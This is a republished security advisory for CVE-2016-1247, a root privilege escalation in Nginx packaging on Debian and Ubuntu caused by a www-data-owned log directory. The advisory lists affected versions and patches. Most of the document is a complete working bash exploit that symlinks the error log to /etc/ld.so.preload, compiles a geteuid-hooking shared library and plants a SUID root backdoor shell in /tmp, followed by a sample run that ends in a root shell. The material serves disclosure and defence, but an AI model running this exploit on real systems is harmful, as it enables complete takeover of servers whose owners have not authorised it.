Lucene search
K

Nginx Root Privilege Escalation

🗓️ 16 Nov 2016 00:00:00Reported by Dawid GolunskiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 658 Views

Nginx Privilege Escalation on Debian/Ubunt

Related
Code
` __ __ __ __ __   
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________  
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/  
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )   
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/   
/____/   
  
  
=============================================  
- Discovered by: Dawid Golunski  
- dawid[at]legalhackers.com  
- https://legalhackers.com  
  
- CVE-2016-1247  
- Release date: 15.11.2016  
- Revision 1.0  
- Severity: High  
=============================================  
  
  
I. VULNERABILITY  
-------------------------  
  
Nginx (Debian-based distros) - Root Privilege Escalation  
  
Fixed in 1.6.2-5+deb8u3 package on Debian, and   
1.10.0-0ubuntu0.16.04.3 on Ubuntu 16.04 LTS  
  
  
II. BACKGROUND  
-------------------------  
  
"nginx [engine x] is an HTTP and reverse proxy server, a mail proxy server,   
and a generic TCP/UDP proxy server, originally written by Igor Sysoev.   
For a long time, it has been running on many heavily loaded Russian sites   
including Yandex, Mail.Ru, VK, and Rambler. According to Netcraft, nginx   
served or proxied 27.80% busiest sites in October 2016.   
Here are some of the success stories: Netflix, Wordpress.com, FastMail.FM."  
  
https://nginx.org/en/  
  
  
III. INTRODUCTION  
-------------------------  
  
Nginx web server packaging on Debian-based distributions such as Debian or  
Ubuntu was found to create log directories with insecure permissions which  
can be exploited by malicious local attackers to escalate their privileges  
from nginx/web user (www-data) to root.  
  
The vulnerability could be easily exploited by attackers who have managed to   
compromise a web application hosted on Nginx server and gained access to   
www-data account as it would allow them to escalate their privileges further   
to root access and fully compromise the system.  
  
  
IV. DESCRIPTION  
-------------------------  
  
Nginx installed from default repositories on Debian-based systems (Debian,   
Ubuntu etc.) create nginx log directory at the following location and with the  
following permissions:  
  
root@xenial:~# ls -ld /var/log/nginx/  
drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/  
root@xenial:~# ls -ld /var/log/nginx/*  
-rw-r----- 1 www-data adm 0 Nov 12 22:31 /var/log/nginx/access.log  
-rw-r--r-- 1 root root 0 Nov 12 22:47 /var/log/nginx/error.log  
  
  
As the /var/log/nginx directory is owned by www-data, it is possible for  
local attackers who have gained access to the system through a vulnerability  
in a web application running on Nginx (or the server itself) to replace  
the log files with a symlink to an arbitrary file.   
  
Upon nginx startup/restart the logs would be written to the file pointed to  
by the symlink.  
  
This allows attackers to escalate privileges to root.  
  
  
Attackers who have managed to replace the log file with a symlink would  
have to wait for nginx daemon to re-open the log files.   
For this to happen nginx service needs to be restarted, or the daemon needs  
to receive a USR1 process signal.   
  
However, the USR1 is sent automatically on default installations of   
Debian-based systems through logrotate script which calls do_rotate()   
function as can be seen in the files quoted below:  
  
  
--------[ /etc/logrotate.d/nginx ]--------  
  
/var/log/nginx/*.log {  
daily  
missingok  
rotate 52  
compress  
delaycompress  
notifempty  
create 0640 www-data adm  
sharedscripts  
prerotate  
if [ -d /etc/logrotate.d/httpd-prerotate ]; then \  
run-parts /etc/logrotate.d/httpd-prerotate; \  
fi \  
endscript  
postrotate  
invoke-rc.d nginx rotate >/dev/null 2>&1  
endscript  
}  
  
------------------------------------------  
  
  
  
----------[ /etc/init.d/nginx ]-----------  
[...]  
  
do_rotate() {  
start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME  
return 0  
}  
  
[...]  
  
-----------------------------------------  
  
  
The logrotation script is called daily by cron.daily on default Ubuntu/Debian  
installations at 6:25am every day.  
  
If /etc/logrotate.d/nginx has been set to rotate logs 'daily' then attacker  
could gain root privileges within 24h upon the next log rotation without any   
system admin interaction.   
  
  
V. PROOF OF CONCEPT EXPLOIT  
-------------------------  
  
------------[ nginxed-root.sh ]--------------  
  
#!/bin/bash  
#  
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit  
# nginxed-root.sh (ver. 1.0)  
#  
# CVE-2016-1247  
#  
# Discovered and coded by:  
#  
# Dawid Golunski  
# dawid[at]legalhackers.com  
#  
# https://legalhackers.com  
#  
# Follow https://twitter.com/dawid_golunski for updates on this advisory.  
#  
# ---  
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu  
# etc.) to escalate their privileges from nginx web server user (www-data) to root   
# through unsafe error log handling.  
#  
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.  
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)  
# script which is called daily by the cron.daily on default installations.  
# The restart should take place at 6:25am which is when cron.daily executes.  
# Attackers can therefore get a root shell automatically in 24h at most without any admin  
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation   
# has been configured.   
#  
#  
# Exploit usage:  
# ./nginxed-root.sh path_to_nginx_error.log   
#  
# To trigger logrotation for testing the exploit, you can run the following command:  
#  
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx  
#  
# See the full advisory for details at:  
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html  
#  
# Video PoC:  
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html  
#  
#  
# Disclaimer:  
# For testing purposes only. Do no harm.  
#  
  
BACKDOORSH="/bin/bash"  
BACKDOORPATH="/tmp/nginxrootsh"  
PRIVESCLIB="/tmp/privesclib.so"  
PRIVESCSRC="/tmp/privesclib.c"  
SUIDBIN="/usr/bin/sudo"  
  
function cleanexit {  
# Cleanup   
echo -e "\n[+] Cleaning up..."  
rm -f $PRIVESCSRC  
rm -f $PRIVESCLIB  
rm -f $ERRORLOG  
touch $ERRORLOG  
if [ -f /etc/ld.so.preload ]; then  
echo -n > /etc/ld.so.preload  
fi  
echo -e "\n[+] Job done. Exiting with code $1 \n"  
exit $1  
}  
  
function ctrl_c() {  
echo -e "\n[+] Ctrl+C pressed"  
cleanexit 0  
}  
  
#intro   
  
cat <<_eascii_  
_______________________________  
< Is your server (N)jinxed ? ;o >  
-------------------------------  
\   
\ __---__  
_- /--______  
__--( / \ )XXXXXXXXXXX\v.   
.-XXX( O O )XXXXXXXXXXXXXXX-   
/XXX( U ) XXXXXXX\   
/XXXXX( )--_ XXXXXXXXXXX\   
/XXXXX/ ( O ) XXXXXX \XXXXX\   
XXXXX/ / XXXXXX \__ \XXXXX  
XXXXXX__/ XXXXXX \__---->  
---___ XXX__/ XXXXXX \__ /  
\- --__/ ___/\ XXXXXX / ___--/=  
\-\ ___/ XXXXXX '--- XXXXXX  
\-\/XXX\ XXXXXX /XXXXX  
\XXXXXXXXX \ /XXXXX/  
\XXXXXX > _/XXXXX/  
\XXXXX--__/ __-- XXXX/  
-XXXXXXXX--------------- XXXXXX-  
\XXXXXXXXXXXXXXXXXXXXXXXXXX/  
""VXXXXXXXXXXXXXXXXXXV""  
_eascii_  
  
echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"  
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"  
  
# Args  
if [ $# -lt 1 ]; then  
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"  
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"  
exit 3  
fi  
  
# Priv check  
  
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"  
id | grep -q www-data  
if [ $? -ne 0 ]; then  
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"  
exit 3  
fi  
  
# Set target paths  
ERRORLOG="$1"  
if [ ! -f $ERRORLOG ]; then  
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"  
exit 3  
fi  
  
# [ Exploitation ]  
  
trap ctrl_c INT  
# Compile privesc preload library  
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"  
cat <<_solibeof_>$PRIVESCSRC  
#define _GNU_SOURCE  
#include <stdio.h>  
#include <sys/stat.h>  
#include <unistd.h>  
#include <dlfcn.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
  
uid_t geteuid(void) {  
static uid_t (*old_geteuid)();  
old_geteuid = dlsym(RTLD_NEXT, "geteuid");  
if ( old_geteuid() == 0 ) {  
chown("$BACKDOORPATH", 0, 0);  
chmod("$BACKDOORPATH", 04777);  
unlink("/etc/ld.so.preload");  
}  
return old_geteuid();  
}  
_solibeof_  
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"  
if [ $? -ne 0 ]; then  
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."  
cleanexit 2;  
fi  
  
  
# Prepare backdoor shell  
cp $BACKDOORSH $BACKDOORPATH  
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"  
  
# Safety check  
if [ -f /etc/ld.so.preload ]; then  
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."  
exit 2  
fi  
  
# Symlink the log file  
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG  
if [ $? -ne 0 ]; then  
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."  
cleanexit 3  
fi  
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"  
  
# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered  
curl http://localhost/ >/dev/null 2>/dev/null  
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily   
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)  
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."  
while :; do   
sleep 1  
if [ -f /etc/ld.so.preload ]; then  
echo $PRIVESCLIB > /etc/ld.so.preload  
rm -f $ERRORLOG  
break;  
fi  
done  
  
# /etc/ld.so.preload should be owned by www-data user at this point  
# Inject the privesc.so shared library to escalate privileges  
echo $PRIVESCLIB > /etc/ld.so.preload  
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"  
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"  
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"  
chmod 755 /etc/ld.so.preload  
  
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)  
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"  
sudo 2>/dev/null >/dev/null  
  
# Check for the rootshell  
ls -l $BACKDOORPATH  
ls -l $BACKDOORPATH | grep rws | grep -q root  
if [ $? -eq 0 ]; then   
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"  
echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"  
else  
echo -e "\n[!] Failed to get root"  
cleanexit 2  
fi  
  
rm -f $ERRORLOG  
echo > $ERRORLOG  
  
# Use the rootshell to perform cleanup that requires root privilges  
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"  
# Reset the logging to error.log  
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"  
  
# Execute the rootshell  
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"  
$BACKDOORPATH -p -i  
  
# Job done.  
cleanexit 0  
  
---------------------------------------------------  
  
  
Example run  
~~~~~~~~~~~~  
  
www-data@jessie:~/html/poc-app/uploads$ id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
  
www-data@jessie:~/html/poc-app/uploads$ dpkg -l | grep -i nginx  
ii nginx 1.6.2-5+deb8u2 all small, powerful, scalable web/proxy server  
ii nginx-common 1.6.2-5+deb8u2 all small, powerful, scalable web/proxy server - common files  
ii nginx-full 1.6.2-5+deb8u2+b1 amd64 nginx web/proxy server (standard version)  
  
www-data@jessie:~/html/poc-app/uploads$ ls -ld /var/log/nginx  
drwxr-x--- 2 www-data adm 4096 Nov 15 23:38 /var/log/nginx  
  
www-data@jessie:~/html/poc-app/uploads$ ./nginxed-root.sh /var/log/nginx/error.log  
_______________________________  
< Is your server (N)jinxed ? ;o >  
-------------------------------  
\   
\ __---__  
_- /--______  
__--( / \ )XXXXXXXXXXX\v.   
.-XXX( O O )XXXXXXXXXXXXXXX-   
/XXX( U ) XXXXXXX\   
/XXXXX( )--_ XXXXXXXXXXX\   
/XXXXX/ ( O ) XXXXXX \XXXXX\   
XXXXX/ / XXXXXX \__ \XXXXX  
XXXXXX__/ XXXXXX \__---->  
---___ XXX__/ XXXXXX \__ /  
\- --__/ ___/\ XXXXXX / ___--/=  
\-\ ___/ XXXXXX '--- XXXXXX  
\-\/XXX\ XXXXXX /XXXXX  
\XXXXXXXXX \ /XXXXX/  
\XXXXXX > _/XXXXX/  
\XXXXX--__/ __-- XXXX/  
-XXXXXXXX--------------- XXXXXX-  
\XXXXXXXXXXXXXXXXXXXXXXXXXX/  
""VXXXXXXXXXXXXXXXXXXV""  
  
Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247)   
nginxed-root.sh (ver. 1.0)  
  
Discovered and coded by:   
  
Dawid Golunski   
https://legalhackers.com   
  
[+] Starting the exploit as:   
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
  
[+] Compiling the privesc shared library (/tmp/privesclib.c)  
  
[+] Backdoor/low-priv shell installed at:   
-rwxr-xr-x 1 www-data www-data 1029624 Nov 15 23:54 /tmp/nginxrootsh  
  
[+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at:   
lrwxrwxrwx 1 www-data www-data 18 Nov 15 23:54 /var/log/nginx/error.log -> /etc/ld.so.preload  
  
[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am...  
  
[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges:   
-rw-r--r-- 1 www-data root 19 Nov 15 23:55 /etc/ld.so.preload  
  
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload  
  
[+] The /etc/ld.so.preload file now contains:   
/tmp/privesclib.so  
  
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!  
-rwsrwxrwx 1 root root 1029624 Nov 15 23:54 /tmp/nginxrootsh  
  
[+] Rootshell got assigned root SUID perms at:   
-rwsrwxrwx 1 root root 1029624 Nov 15 23:54 /tmp/nginxrootsh  
  
The server is (N)jinxed ! ;) Got root via Nginx!  
  
[+] Spawning the rootshell /tmp/nginxrootsh now!   
  
nginxrootsh-4.3# id  
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)  
  
nginxrootsh-4.3# whoami  
root  
  
  
  
Note: You can force log rotation during testing with:  
logrotate -f /etc/logrotate.d/nginx  
  
  
Video PoC:  
~~~~~~~~~~~~  
  
https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html  
  
  
  
VI. BUSINESS IMPACT  
-------------------------  
  
An attacker who has managed to exploit a vulnerable web application could use the   
vulnerability to escalate their privileges to root.  
  
  
VII. SYSTEMS AFFECTED  
-------------------------  
  
Debian:  
Fixed in Nginx 1.6.2-5+deb8u3  
  
Ubuntu:  
  
Fixed in the following updated Nginx package versions on Ubuntu:  
  
Ubuntu 16.04 LTS:  
1.10.0-0ubuntu0.16.04.3  
  
Ubuntu 14.04 LTS:  
1.4.6-1ubuntu3.6  
  
Ubuntu 16.10:  
1.10.1-0ubuntu1.1  
  
  
VIII. SOLUTION  
-------------------------  
  
Vendors were sent this advisory in advance and released patches prior  
to the publication of the exploit.  
  
Update to the latest nginx packages on your distribution.  
  
https://www.debian.org/security/2016/dsa-3701  
  
https://www.ubuntu.com/usn/usn-3114-1/  
  
  
IX. REFERENCES  
-------------------------  
  
https://legalhackers.com  
  
This advisory:  
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html  
  
Exploit code:  
https://legalhackers.com/exploits/CVE-2016-1247/nginxed-root.sh  
  
CVE-2016-1247:  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1247  
  
Video PoC:  
https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html  
  
Debian security:  
https://www.debian.org/security/2016/dsa-3701  
https://security-tracker.debian.org/tracker/CVE-2016-1247  
  
Ubuntu security:  
https://www.ubuntu.com/usn/usn-3114-1/  
  
  
  
X. CREDITS  
-------------------------  
  
The vulnerability has been discovered by Dawid Golunski  
dawid (at) legalhackers (dot) com  
  
https://legalhackers.com  
  
XI. REVISION HISTORY  
-------------------------  
  
15.11.2016 - Advisory released  
  
  
XII. LEGAL NOTICES  
-------------------------  
  
The information contained within this advisory is supplied "as-is" with  
no warranties or guarantees of fitness of use or otherwise. I accept no  
responsibility for any damage caused by the use or misuse of this information.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Nov 2016 00:00Current
0.9Low risk
Vulners AI Score0.9
EPSS0.04863
658